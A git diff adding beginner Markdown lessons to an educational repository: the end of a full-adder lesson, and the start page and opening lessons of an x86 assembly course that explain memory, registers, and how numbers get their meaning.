+the same sentence: *"I found a pair!"* — the first in a+b, the second in remainder+c. But
+your `h` output's question is: "**is there a pair inside?**" It doesn't care who found the pair.
+
+"If at least one is shouting, h=1" — you know this sentence: **OR.**
+
+But let's be meticulous; OR's table also has a `(1,1) → 1` row. What if both shout at once?
+Two pairs = 4 apples would be needed; three inputs give 3 at most. Still, prove it on paper:
+for h₁=1 you'd need a=b=1 → then l₁ = 0 → 0 and c enter the second box → the second box can
+**never** find a pair. **Two shouts at the same time are impossible.** OR's one suspect row
+will never be visited — use it with confidence.
+
+> 💡 A subtle bonus: since the (1,1) case never occurs, **XOR** — which differs from OR only
+> on that very row — would do the same job. Both pass. That two different gates can do the
+> same task in a circuit feels strange at first — the secret is that they live in a world
+> where their difference is never tested.
+
+---
+
+## 🎮 Now You Build It
+
+**Task:** NandGame → **Full Adder** level.
+
+Your directions: two `add`s (the game put your half adder into your box under that name —
+03.5 at work), one OR. Build it, and try a few of the eight combinations by hand: each time
+read out to yourself "how many apples → which tokens".
+
+
+🔒 Solution schematic — try it yourself first, then open
+
+1. `add₁`: inputs **a, b**.
+2. `add₂`: inputs **the l of add₁** and **c**.
+3. **OR**: inputs **the h of add₁** and **the h of add₂** → its output to the box's **h**.
+4. **The l of add₂** → to the box's **l**.
+
+Summary of the summary: *full adder = two half adders + one OR.* But you now say this
+sentence not by rote but knowing the "why" of each of its wires — that's the difference.
+
+
+
+---
+
+## Closing: The Chain of 64
+
+Look at the box you built one last time: it has a carry **input** called `c` and a carry
+**output** called `h`. Which means these boxes... **can plug into each other.** One's h
+becomes the c of the one to its left:
+
+```
+ ... ◄─h─ [FA₂] ◄─h─ [FA₁] ◄─h─ [FA₀] ◄── (first carry: 0)
+ b₂ a₂ │ b₁ a₁ │ b₀ a₀ │
+ l₂ l₁ l₀
+```
+
+Each box is one digit; the carry flows from right to left, just like on paper. Line up 8 of
+them and you've built the hardware that adds 8-bit numbers; line up 64 and it's the hardware
+that adds 64-bit numbers. If a program on your computer just ran an `add` instruction, it
+went through exactly this chain — through 64 copies of **the box you built today.**
+
+Building this chain yourself is the job of the next lesson (and the next level in NandGame):
+**Multi-bit Adder.** See you there.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Full adder = a + b + carry-in. The machine for the MIDDLE digit on paper (three inputs!).
+☐ All the logic: COUNT the 1s, write the number in binary (h l). 8 rows = 4 cases.
+☐ Who is 1 doesn't matter, HOW MANY 1s matters. The c=0 floor = the half adder itself.
+☐ Wrong-way lesson: adding parts isn't progress. Build it the way you do it by hand.
+☐ Addition is SEQUENTIAL: add → then add onto the result. (A floor's answer, the floor above's signal.)
+☐ The wire added to c is l (both in 1-token units); the h's are 2-token, waiting off to the side.
+☐ Two h's can never be 1 at once (paper proof) → OR is enough to combine (XOR would pass too).
+☐ The h output plugs into the neighbor's c input → the chain of 64 = the hardware of the processor's `add`.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [05_half_adder.md](./05_half_adder.md) — The box that lives inside this circuit twice
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — The basis of "count and write in binary"
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — "The answer is the floor above's signal"
+
+---
+
+**Previous topic:** [05_half_adder.md](./05_half_adder.md)
+**Next topic:** *(on the way — Multi-bit Adder: building the chain of 64)*
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md b/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md
new file mode 100644
index 0000000..bc7c8b1
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/00_buradan_basla.md
@@ -0,0 +1,165 @@
+# 🧭 x86 Assembly — Start Here (Really From Scratch)
+
+> A computer is not magic. Inside it there is a worker who does very simple things at an **unimaginable speed**,
+> but who does not have a single gram of imagination.
+> This worker understands only a handful of orders: *"put this number in that box", "add those two together", "jump over there."*
+> Assembly is the art of writing a to-do list for that worker in the **only language** he understands.
+
+> **Who is this course for?** Anyone who knows how to turn on a computer. Never having seen a terminal,
+> never having written a line of code before, not knowing "what does register mean" — all completely normal;
+> we will build all of it from here, from scratch. The only prerequisite: patience and curiosity.
+
+> ✅ **This course is now complete: all lessons from 00 through 20 are written.** And every lesson is not "on paper" — **every program and every GDB output inside it was verified by running it on a real machine.** The path: **Unit 0** (machine model) → **Unit 1** (first instructions, arithmetic) → **Unit 2** (flow: decisions & loops) → **Unit 3** (stack, functions, system calls) → **Unit 4** (the C bridge, where to go from here). Read from start to finish, in order — each unit leans on the previous one.
+
+---
+
+## 📋 Table of Contents
+
+- [What This Course Is NOT](#what-this-course-is-not)
+- [First, Let's Break the Fear](#first-lets-break-the-fear)
+- [What Will You Be Able to Do at the End?](#what-will-you-be-able-to-do-at-the-end)
+- [The Big Picture: Why Does Assembly Exist?](#the-big-picture-why-does-assembly-exist)
+- [Roadmap — Unit by Unit](#roadmap--unit-by-unit)
+- [How Should You Study?](#how-should-you-study)
+- [If Something Breaks](#if-something-breaks)
+
+---
+
+## What This Course Is NOT
+
+- **Not a fast course.** We won't rush. Every concept will sit on top of the previous one. A stone you skip will trip you up later.
+- **Not a memorization course.** I won't make you memorize a list of instructions. I'll introduce each instruction at the *moment you need it* — that way the question "why does this exist?" never even arises.
+- **Not a program-writing marathon** (but we will write). The goal is first to **understand**: what is the machine actually doing inside? Once you understand that, the code comes on its own.
+- **It does not expect you to know C / Python / "real" programming.** Even if you don't know a single language, you can start here.
+
+---
+
+## First, Let's Break the Fear
+
+Most resources greet you straight away with things like `EAX`, `0xdeadbeef`, `mov dword ptr [ebp-0x4]`, and one rightly says "this isn't for me."
+
+Let me tell you a secret: **the hard part of assembly is not the instructions.** Instructions like `mov`, `add`, `jmp` are surprisingly simple — you'll see in a moment. The real issue is picturing in your head **how the machine thinks** (or rather, *doesn't think*).
+
+Once you've settled this, the rest flows like water. The entire first unit is devoted to this — there **we won't write a single line of code.** We'll only build the picture.
+
+> 💡 Getting stuck, feeling confused, the "am I the stupid one" feeling — all normal, and **everyone** passes through this door. Slowing down here is not a weakness, it's a method. Reading a section twice is no shame; it's advice.
+
+---
+
+## What Will You Be Able to Do at the End?
+
+When you finish this course:
+
+- You'll be able to explain **concretely** what a computer actually does when it "runs".
+- You'll comfortably read binary and hexadecimal numbers.
+- You'll be able to **write and run** your own 32-bit assembly programs (ones that print text to the screen, do arithmetic, make decisions, build loops).
+- You'll be able to follow a program **step by step** with GDB and answer the question "what just happened?".
+- When you compile a C program and look at its assembly, you'll be able to see **patterns you recognize**.
+
+In other words: you'll stop being someone for whom "a computer is a box" and become someone who can see inside it.
+
+---
+
+## The Big Picture: Why Does Assembly Exist?
+
+The languages humans read (Python, C...) are not the languages a computer **understands directly**. The only thing a computer understands is a giant **sequence of numbers** — this is called *machine code*. For example, to tell the processor "put 5 in the EAX box", you actually send it this number: `B8 05 00 00 00`.
+
+Writing these numbers by hand is nearly impossible. **Assembly** is the **human-readable labels** attached to these numbers:
+
+```
+Machine code (what the processor sees): B8 05 00 00 00
+Assembly (what you write): mov eax, 5 ← "put 5 in EAX"
+```
+
+*(But why five numbers for a single 5? The first one — `B8` — is the "put in EAX" order itself; the remaining four numbers are the 4-byte form of 5 as it sits in memory. We'll open this up in [08_mov_ve_bellek](./08_mov_ve_bellek.md) — for now you don't even need to count, just look.)*
+
+The two **correspond one-to-one** — each assembly line is assembled into specific numbers, and there is no magic you don't understand in between. Assembly is the human language closest to machine code. *(We'll also open up separately in [05.5_perde_arkasi](./05.5_perde_arkasi.md) the invisible wrapper — things like `_start`/ELF — that the machine adds to run the program.)* That's why learning assembly = learning what the machine actually does. Higher-level languages (C, Python) are **convenience layers** built on top of this machine.
+
+> 🔑 Keep in mind: **You write assembly → a program called `nasm` assembles it into machine code (numbers) → the processor reads those numbers and does them.** The translator is called an *assembler*; ours is `nasm`.
+
+---
+
+## Roadmap — Unit by Unit
+
+Read the files in this order. Each unit leans on the previous one.
+
+### 🧩 Unit 0 — No Code Yet: Meeting the Machine
+
+> Here **we won't write a single line of code.** We'll only build the machine's mental model. This unit is the foundation of the course; if it isn't laid solidly, nothing above it will hold.
+
+| # | File | What it teaches | Takeaway |
+|:---:|---|---|---|
+| 1 | [01_bilgisayar_nedir](./01_bilgisayar_nedir.md) | Computer = numbered boxes + worker; what "running" means | Mental model |
+| 1.5 | [01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md) | If "everything is a number", how does a cat video happen; meaning comes from code | Number ≠ meaning |
+| 2 | [02_terminal_ile_tanisma](./02_terminal_ile_tanisma.md) | What a terminal is, how to open it, typing a command and reading its output | Your first "I did it" moment |
+| 3 | [03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md) | Binary/hexadecimal — counting the way the machine counts | Reading addresses and values |
+| 4 | [04_bellek_ve_registerlar](./04_bellek_ve_registerlar.md) | Memory (boxes) and registers (the worker's hands) | The field assembly plays on |
+| 4.5 | [04.5_registerin_ici](./04.5_registerin_ici.md) | Inside a register: AL/AH/AX/EAX, "same bits, different window" | Register anatomy |
+
+> 💡 Files whose number ends in `.5` (`1.5`, `4.5`, `5.5`…) are each a short **side lesson**: added to the main road but lighter. If you're in a hurry you can skip them; but frequently-asked points like "how does a cat video become a number?", "what's inside a register?", "what did those instructions do behind the scenes?" are clarified there.
+
+### ⚙️ Unit 1 — First Instructions: Giving the Worker Orders
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 5 | [05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md) | `nasm`/`ld`/`gdb` installation, the "write → assemble → run" chain | A program that does nothing and exits |
+| 5.5 | [05.5_perde_arkasi](./05.5_perde_arkasi.md) | Behind the scenes: `./` and PATH, `nasm` vs `ld`, what `_start` really is | (no code) |
+| 6 | [06_ilk_gercek_program](./06_ilk_gercek_program.md) | Value into a register with `mov`, exit code, `echo $?` | A number on the screen: "8!" |
+| 7 | [07_gdb_tek_adim](./07_gdb_tek_adim.md) | Step one instruction at a time in GDB, watch the registers | "Write an instruction → see what changed" |
+| 8 | [08_mov_ve_bellek](./08_mov_ve_bellek.md) | Kinds of `mov`, `[...]` = the place the address in the box points to; first pointer tracking | First pointer intuition |
+| 8.5 | [08.5_little_endian](./08.5_little_endian.md) | Looking at memory byte by byte; the "exactly reversed" byte order (little-endian) | Byte-layout intuition |
+| 9 | [09_aritmetik](./09_aritmetik.md) | `add`, `sub`, `inc`, `dec` | A tiny calculator |
+
+### 🔀 Unit 2 — Flow: Making the Worker Decide
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 10 | [10_bayraklar_ve_cmp](./10_bayraklar_ve_cmp.md) | Flags (ZF/SF...), `cmp`/`test` | "How the worker remembers a comparison" |
+| 11 | [11_ziplamalar](./11_ziplamalar.md) | `jmp`, `jz`, `jnz`, `jl`, `jg` | An "even or odd" program |
+| 12 | [12_donguler](./12_donguler.md) | A loop with a counter + conditional jump | Countdown from 10, sum of 1..N |
+| 13 | [13_bit_islemleri](./13_bit_islemleri.md) | `and`, `or`, `xor`, `shl`, `shr` | Why `xor eax, eax` means "zero out" |
+
+### 🧱 Unit 3 — Parts and the Operating System
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 14 | [14_stack](./14_stack.md) | `push`/`pop`, why the stack grows downward | The worker's "notepad" |
+| 15 | [15_call_ve_ret](./15_call_ve_ret.md) | Functions, return address, the `call`/`ret` duo | A reusable part |
+| 16 | [16_calling_convention](./16_calling_convention.md) | cdecl: giving data to a part, return value, prologue/epilogue | Calling "add(3,5)" |
+| 17 | [17_sistem_cagrilari](./17_sistem_cagrilari.md) | `int 0x80`, syscall numbers, text/input to the screen | A real "Hello World" |
+| 18 | [18_ilk_etkilesimli_program](./18_ilk_etkilesimli_program.md) | Put it all together | An asm program that asks your name and greets you |
+
+### 🌉 Unit 4 — The Bridge
+
+| # | File | What it teaches |
+|:---:|---|---|
+| 19 | [19_c_ile_assembly_koprusu](./19_c_ile_assembly_koprusu.md) | Compile a tiny C program, look at its asm, see familiar patterns |
+| 20 | [20_buradan_nereye](./20_buradan_nereye.md) | Moving to 64-bit, reverse engineering, exploitation and advanced resources |
+
+---
+
+## How Should You Study?
+
+1. **Don't break the order.** Even if Unit 0 feels boring, don't skip it — everything above it rests on it.
+2. **Run every instruction yourself.** Reading isn't enough; assembly is learned *with your fingertips*. Don't consider a lesson finished until you've written and run a program.
+3. **Watch it in GDB.** If you don't understand what an instruction does, step one at a time in GDB and **see with your own eyes** how the registers/memory change. (We'll set it up in Unit 1.) This is the most powerful learning tool of the whole course.
+4. **Go back when you're stuck.** A term you don't understand has almost always been explained in the *previous* lesson. Going back is normal.
+5. **Slow = fast.** Rushing and half-understanding will cost you double the time later.
+
+---
+
+## If Something Breaks
+
+Throughout this course, getting errors **is part of the job** — programming is already the "get an error, fix it" loop. When an instruction doesn't work, don't panic; most of the time it's a letter/number typo or a skipped step. In Unit 1 we'll also learn to "read the error message".
+
+---
+
+## 🔗 Next Step
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — continue from here. First we'll understand what the machine is; no code at all, we're just building the picture.
+
+> 🎯 **Where to after finishing the course?** This asm foundation is the direct preparation for the **[Binary Exploitation series](../binary_exploitation/00_buradan_basla.md)** (*bending* the flow of programs) in the same repo and for the OverTheWire wargames — first learn to *"give the worker orders"*, then learn to *"bend the order."*
+
+---
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md b/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md
new file mode 100644
index 0000000..3bd6eda
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md
@@ -0,0 +1,115 @@
+# 🎨 x86 Assembly — The Same Number, a Thousand and One Meanings
+
+> In 01 we said this: each box in the warehouse holds only a single number, and the worker plays only with numbers.
+> But then a very fair question arises: the cat video you're watching, the song you're listening to, that "A"
+> letter on your screen... where are they? If everything is 1s and 0s, how can a whole movie be nothing but a pile of numbers?
+> In this short interlude lesson we solve exactly that — and the answer, it turns out, was in our hands all along.
+
+> **No code here either.** This is a little "but wait, how does *that* work?"
+> break that comes right after 01. It'll be short; but by the end, the phrase "everything is a number" stops hanging in the air and lands on solid ground.
+
+---
+
+## 📋 Table of Contents
+
+- [A Number, on Its Own, Means Nothing](#a-number-on-its-own-means-nothing)
+- [So How Does That Cat Video Become a Number?](#so-how-does-that-cat-video-become-a-number)
+- [Does the Worker Understand This? No](#does-the-worker-understand-this-no)
+- [Same Issue: Address or Value?](#same-issue-address-or-value)
+
+---
+
+## A Number, on Its Own, Means Nothing
+
+I wrote a big **3** on a piece of paper and handed it to you. What does this 3 mean?
+
+You can't tell — because on its own it means nothing. Is it 3 apples? The 3rd floor of a building? Bus number 3? 3 o'clock? The paper itself doesn't know this; **you give it meaning according to the situation you're in.** The same "3" is a floor number in one place and an apple count in another.
+
+Here it is — the computer's deepest secret is this simple:
+
+> 🔑 A number's meaning lies **not in the digit itself, but in the intent of the code that reads it.** A box in memory might have `72` written in it. This 72 could be an ordinary number, or the letter `H`, or a shade of red, or a moment from a piece of music. The box doesn't know which one it is. **Whoever reads it, and for what purpose** — that's what determines its meaning.
+
+So when we said "everything is a number" we said something incomplete: the correct version is, **everything is a number, and what gives those numbers meaning is the code that uses them.** Now let's see this in the example you're most curious about.
+
+---
+
+## So How Does That Cat Video Become a Number?
+
+Let's start with a picture. Every image on the screen is actually made of **tiny dots** arranged like a grid. These dots are called **pixels** — if you look very closely at your screen (or with a magnifying glass) you can see these little squares.
+
+So how is a single pixel stored? With a few numbers: how **red**, how **green**, how **blue** that dot is. (By mixing these three colors you can get any color.) Each one is a number between 0 and 255:
+
+```
+ A single pixel = 3 numbers:
+
+ ┌─────┬─────┬─────┐
+ │ R │ G │ B │ ← how much Red / Green / Blue
+ │ 255 │ 0 │ 0 │ ← this example: a fully red dot
+ └─────┴─────┴─────┘ (each 0–255)
+```
+
+So that "red dot" you see is, in the machine's eyes, just three numbers: `255, 0, 0`. Line up thousands of pixels side by side and top to bottom — there you have a whole **image**, that is, a gigantic list of numbers. A **video** is then dozens of images (each one called a frame) shown one after another per second, plus its sound. Your cat video, at the very bottom, is nothing but millions of numbers.
+
+But how do these numbers become a colorful image in your eye? Here's the critical point:
+
+> 🔑 What turns the numbers into a picture is not the numbers themselves, but a piece of **hardware** that reads them. The screen is made of millions of tiny lights. A special part (the graphics card / display hardware) reads those pixel numbers in memory and lights up each light exactly according to that number. The hardware that sees "255, 0, 0" makes the light at that dot fully red. When millions of lights turn on correctly at the same time, you see a "cat."
+
+Sound follows exactly the same logic: a song is a list of numbers telling the speaker how much to be pushed at each moment — tens of thousands of numbers per second. A sound chip reads these numbers and moves the speaker; you hear the music.
+
+> 💡 Advanced note: Inside a video or music file these numbers are usually kept **compressed** (otherwise the files would be enormous). How that compression works is a whole topic of its own and not our concern. The only idea that matters for us is this: at the very bottom, everything is numbers that tell the "how much" of something (redness, loudness...); and what makes those numbers meaningful is the code or hardware that reads them.
+
+---
+
+## Does the Worker Understand This? No
+
+This is exactly the moment to recall the "very fast but very dumb worker" from 01. When the worker looks at memory and sees `72`, it doesn't say "ah, this is the letter `H`." The worker **understands nothing** — it knows neither picture, nor letter, nor music. It just carries out the current order in front of it: "take what's in that box," "add this to that," "put it there."
+
+So then who makes the "72 = H" agreement? **Programs** make it. A text program has agreed from the start that "let the number 72 represent the letter `H`" (this agreement is called *character encoding*; the best known is ASCII, which we'll see later). An image program has agreed that "every three numbers is the color of one pixel." The worker knows none of these agreements; it just carries, copies, adds.
+
+> 🔑 Meaning is a silent agreement between the code that **writes** a byte and the code that **reads** it. The worker is not part of this agreement — it applies the orders blindly, and the programs supply the meaning. That's why the same `72` can be a letter in one program's hands and a color in another's; there's no contradiction, because they're reading it with different agreements.
+
+---
+
+## Same Issue: Address or Value?
+
+Now let's go back and see that the confusing distinction from 01 is actually one face of this same principle.
+
+In 01 we said that an address (a box number) and a value (a box's contents) are different things. But both are, in the end, numbers. Say the worker has `5` in its pocket. Is this "they gave me **5 apples**" (a value), or "go to **box number 5**" (an address)?
+
+The worker looks at this 5 and **can't tell** — both are merely 5. Just like the 3 on the paper. Once again the **instruction** gives the answer: one order says "treat this 5 as a value, use it as it is"; another order says "treat this 5 as an address, go fetch box number 5." So the meaning of the 5 is not inside the 5, but in the intent of the order that uses it.
+
+> 💡 Advanced note: Later, when you learn the real syntax, you'll see that telling the machine "treat this number as an address" has a special mark (like square brackets). That mark is precisely the way to set up this agreement explicitly. The details are in [08_mov_ve_bellek](./08_mov_ve_bellek.md).
+
+It all comes down to one and the same sentence: **it's not the number that gives meaning, but the code that uses it.** Put this idea in your pocket — it'll serve you again and again in the rest of the course (especially on the topics of memory, pointers, and addresses).
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A number on its own is meaningless. Its meaning is set by the intent of the code that READS it.
+ - Like the "3" on paper: 3 apples, or 3rd floor? Depends on the situation. The computer is the same.
+☐ "Everything is a number" was an incomplete sentence; the correct one: everything is a number + the code gives those numbers meaning.
+☐ Image = pixels, grid by grid; each pixel = a few numbers (Red/Green/Blue, 0–255).
+ - Red dot = (255, 0, 0). A bunch of pixels = image. Images one after another + sound = video.
+☐ What turns the number into an image is not the number but the HARDWARE: the graphics card reads the numbers, lights the lights.
+ Sound is the same: numbers → sound chip → speaker.
+☐ The worker UNDERSTANDS nothing (01). Programs make the "72 = H" agreement; the worker just carries/processes.
+☐ Address or value? is the same issue: the INSTRUCTION says whether the 5 is a value or an address.
+☐ One sentence: it's not the number that gives meaning, but the code that uses it.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — "Everything is a number" and the dumb worker idea; where this lesson was born
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The numbers themselves: bit, byte, 0–255, and hex
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where the address/value distinction and the pointer get deeper
+
+---
+
+**Previous topic:** [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md)
+**Next topic:** [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md b/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md
new file mode 100644
index 0000000..0cff059
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md
@@ -0,0 +1,232 @@
+# 🧠 x86 Assembly — What a Computer Really Is
+
+> There is no magic inside a computer. There is a giant warehouse (memory), a few boxes in the worker's pocket (registers),
+> and, working on top of these boxes, a very fast but very dumb worker (the processor).
+> This worker does one single thing: read the next order on the list, carry it out **to the letter**, move on to the next.
+> The whole computer — your phone, your game console, the machine you opened this file on — is the story of these three parts.
+
+> **There is not a single line of code in this lesson.** We are only going to build up a picture in your head of what the machine is like.
+> This picture is the ground the rest of the course sits on. Don't rush; read it twice if you need to.
+
+---
+
+## 📋 Table of Contents
+
+- [A Computer Is Not Magic](#a-computer-is-not-magic)
+- [Part 1 — Memory: A Warehouse of Numbered Boxes](#part-1--memory-a-warehouse-of-numbered-boxes)
+- [Part 2 — Registers: The Boxes in the Worker's Pocket](#part-2--registers-the-boxes-in-the-workers-pocket)
+- [Part 3 — The Processor: A Very Fast, Very Dumb Worker](#part-3--the-processor-a-very-fast-very-dumb-worker)
+- [The Only Thing the Worker Does: Fetch → Do → Advance](#the-only-thing-the-worker-does-fetch--do--advance)
+- [What Is a Program?](#what-is-a-program)
+- [What Does "Running a Program" Mean?](#what-does-running-a-program-mean)
+- [Which Orders Does the Worker Understand? (A Small Preview)](#which-orders-does-the-worker-understand-a-small-preview)
+- [Why Does Such a Dumb Worker Work at All?](#why-does-such-a-dumb-worker-work-at-all)
+
+---
+
+## A Computer Is Not Magic
+
+For most people a computer is a box, with no idea of what spins inside it. You click, something happens; you type, letters appear on the screen. How? Unclear.
+
+Here is the truth: a computer is a machine that does **very simple things at an unbelievable speed.** The worker inside it does not "understand English," does not "think about what you want," is not "smart." It does just a handful of very primitive jobs — but **billions of times** per second. All the magic comes out of this speed and out of this simplicity piling up on itself.
+
+The goal of this lesson is to open the lid of that box and introduce you to the three parts inside. Once you have seen them, the question "how does a computer work?" will stop being mysterious.
+
+---
+
+## Part 1 — Memory: A Warehouse of Numbered Boxes
+
+Imagine: a giant warehouse whose end you cannot see. Inside it are **small boxes** lined up in rows. Each box has:
+
+- a **number** (it goes 0, 1, 2, 3, …),
+- and inside it sits a single **small number**.
+
+```
+ Number: 0 1 2 3 4 5 ...
+ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐
+ Content: │ 72 │ │ 13 │ │ 0 │ │255 │ │ 42 │ │ 7 │ ...
+ └────┘ └────┘ └────┘ └────┘ └────┘ └────┘
+```
+
+This warehouse is the computer's **memory** (in English *memory*, or RAM in common speech). All the data a program uses while it runs — the letters you type, the pixels of the image you open, your health in a game — are all numbers inside these boxes.
+
+Separate two words right now, because you'll need them everywhere:
+
+- A box's **number** = its **address** (*address*). "Box number 3" means "the box at address 3."
+- The **number inside** a box = its **value / contents**.
+
+> 🔑 Address and value are **different things.** "Box number 3" (address = 3) must not be confused with "the box with 255 written in it" (value = 255). This distinction is the spot people trip over most often later on — let it be clear right now: **address = where the box is, value = what's inside the box.**
+
+Each box is called a **byte**; a number between 0 and 255 fits inside it. (Why exactly 255? We'll see that in [03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md) — for now "a small number" is enough.)
+
+---
+
+## Part 2 — Registers: The Boxes in the Worker's Pocket
+
+The warehouse is huge but it has one problem: it's **far away.** Every time, it takes the worker a while to walk to the shelf and find the right box.
+
+That's why the worker has **a few special boxes** in the pockets of their apron. These are:
+
+- **very few in number** (a bit more than the fingers of one hand),
+- but reachable **instantly** — they reach out and grab; no walking to the shelf.
+
+```
+ WORKER
+ ┌───────────────┐
+ │ pocket boxes │ ← registers: few, but at light speed
+ │ [ EAX: 5 ] │
+ │ [ EBX: 0 ] │
+ │ [ ECX: 99 ] │
+ │ [ ... ] │
+ └───────────────┘
+ ⇕ (slow round trip)
+ ┌──────────────────────────────────────────┐
+ │ WAREHOUSE (memory): millions of boxes │
+ └──────────────────────────────────────────┘
+```
+
+These pocket boxes are called **registers**. The worker does almost all of the real work with these pocket boxes: it takes a number out of the warehouse and puts it in a pocket, plays with it in the pocket (adds, compares), then, if needed, puts the result back on the shelf in the warehouse.
+
+On the x86 processor each of these pocket boxes has a name: `EAX`, `EBX`, `ECX`, `EDX`, and a few more. Their names may look scary for now; in the coming units we'll get to know each one, one at a time, as the need arises. For now the only thing you need to know is: **register = the worker's boxes, few in number, reachable instantly.**
+
+> 💡 Why both a warehouse and pockets? Because there is a trade-off between speed and room: the pocket boxes are very fast but very few; the warehouse is very roomy but slow. The worker uses both together — it keeps the big data in the warehouse and pulls what it's about to work on into a pocket.
+
+---
+
+## Part 3 — The Processor: A Very Fast, Very Dumb Worker
+
+Now we've reached the main character: the **processor** (in English *CPU*, or *processor*). This is the thing we've been calling the "worker" above.
+
+This worker has two basic traits, and both are true at the same time:
+
+1. **It is incredibly fast.** It takes billions of tiny steps per second. A single blink of your eye is like a lifetime to it.
+2. **It is incredibly dumb.** It "understands" nothing. It doesn't know what you're trying to do, takes no initiative, doesn't say "you probably meant this." It only carries out **the current order** in front of it, exactly.
+
+The whole philosophy of assembly is hidden in this sentence:
+
+> 🔑 The worker is not smart; it is **obedient to the letter.** Whatever you tell it, it does exactly that — not more, not less, not some "well-meaning" interpretation. That's why writing a program = telling this worker, in a language it understands, **step by step** what to do.
+
+Picture a cook, but a cook who follows the recipe *word for word*, with no common sense at all. If the recipe says "crack the eggs," it throws them into the bowl shell and all — because you didn't write "peel off the shell." A computer is exactly this kind of cook. It seems maddening, but it's actually a **superpower**: you can know in advance exactly what will happen, because the worker never acts "on its own."
+
+---
+
+## The Only Thing the Worker Does: Fetch → Do → Advance
+
+So what exactly does this worker do? It repeats a single loop, without stopping, billions of times:
+
+```
+ ┌──────────────────────────────────────────┐
+ │ │
+ │ 1) FETCH: Read the next order │
+ │ 2) DO: Carry it out to the letter │
+ │ 3) ADVANCE: Move to the next order │
+ │ │
+ └──────────────┐ ▲──────────────┘
+ └──────────────┘
+ (repeat from the start)
+```
+
+That's all. The worker reads the order on the list, does it, moves on to the next; then reads again, does, moves on… This is called the **fetch-do-advance loop** (in English *fetch–execute cycle*). *Everything* the computer does — playing a movie, a game, showing this text — is this simple loop repeated billions of times, at a tremendous speed.
+
+> 💡 The worker also holds one more piece of information: "which line of the list am I on right now" — as if it keeps a finger on top of the line it's reading. Normally, after each order the finger slides down to the next line. But some orders can say "put your finger on this line" — that's exactly how decisions and loops happen. (This idea of "the line the finger rests on" will become very important later.)
+
+---
+
+## What Is a Program?
+
+Whatever that **list of orders** the worker reads is — that is what's called a **program**.
+
+A program is a **to-do list** made of instructions written in order from start to finish:
+
+```
+ Line 1: put 5 in box EAX
+ Line 2: put 3 in box EBX
+ Line 3: add EBX to EAX (now EAX = 8)
+ Line 4: tell the OS "I'm done, my result is in EAX"
+```
+
+The worker reads this list top to bottom, doing each line to the letter. The four lines above are a real program too — we've just written it in plain language so far. In the coming units we'll learn to translate it into the language the worker actually understands (assembly). What matters right now is the idea: **program = the list of orders given to the worker, carried out in order.**
+
+> ⚠️ Underline the word "in order." The worker processes the lines **one by one, in sequence.** By the time the third line runs, the first and second are long finished. This sequentiality is the backbone of programming — get used to thinking "first this happens, then that."
+
+> 💡 **You might be wondering:** *"If the worker does everything in order, how am I listening to music and browsing the internet at the same time?"* Two things are true at once: (1) the worker is so fast that a **manager** (the operating system) shuffles it between programs thousands of times per second — "a bit of Spotify, a bit of the mouse, a bit of the browser…" — and because of this speed it feels to you as if everything is happening at the same time. (2) On modern machines there is actually not one worker but **several workers** (cores/*core*); some jobs really do happen at the same time. When writing code we'll still think in terms of one worker + one list, because what matters is that single flow; multitasking is handled "up top," by the manager.
+
+---
+
+## What Does "Running a Program" Mean?
+
+"Running a program" might sound like a fancy phrase, but its meaning is very simple:
+
+> You put your list of orders into memory (the warehouse), you tell the worker "start from this line," and the worker begins carrying out your list from start to finish with the fetch-do-advance loop.
+
+So a running program = **the worker reading and doing your list.** When the program ends (or says "I'm done"), the worker stops and hands control back to the operating system.
+
+One extra term: a program that has been loaded into memory and is **currently running** is called a **process**. So "program" is the recipe sitting on disk; "process" is that recipe in its state of being cooked in the kitchen right now. You'll experience this distinction with your own hands in [02_terminal_ile_tanisma](./02_terminal_ile_tanisma.md).
+
+---
+
+## Which Orders Does the Worker Understand? (A Small Preview)
+
+The worker recognizes only a **handful** of orders — and the surprising thing is that all software is built from combinations of this handful of orders. We're not learning syntax yet; let's just take a look at the *kinds* so we know where we're heading:
+
+| Kind of order | In plain words | Which lesson |
+|---|---|---|
+| **Move** | "Put this number in that box," "take what's in that box over here" | [08_mov_ve_bellek](./08_mov_ve_bellek.md) |
+| **Compute** | "Add / subtract these two" | [09_aritmetik](./09_aritmetik.md) |
+| **Compare** | "Are these two numbers equal? greater?" | [10_bayraklar_ve_cmp](./10_bayraklar_ve_cmp.md) |
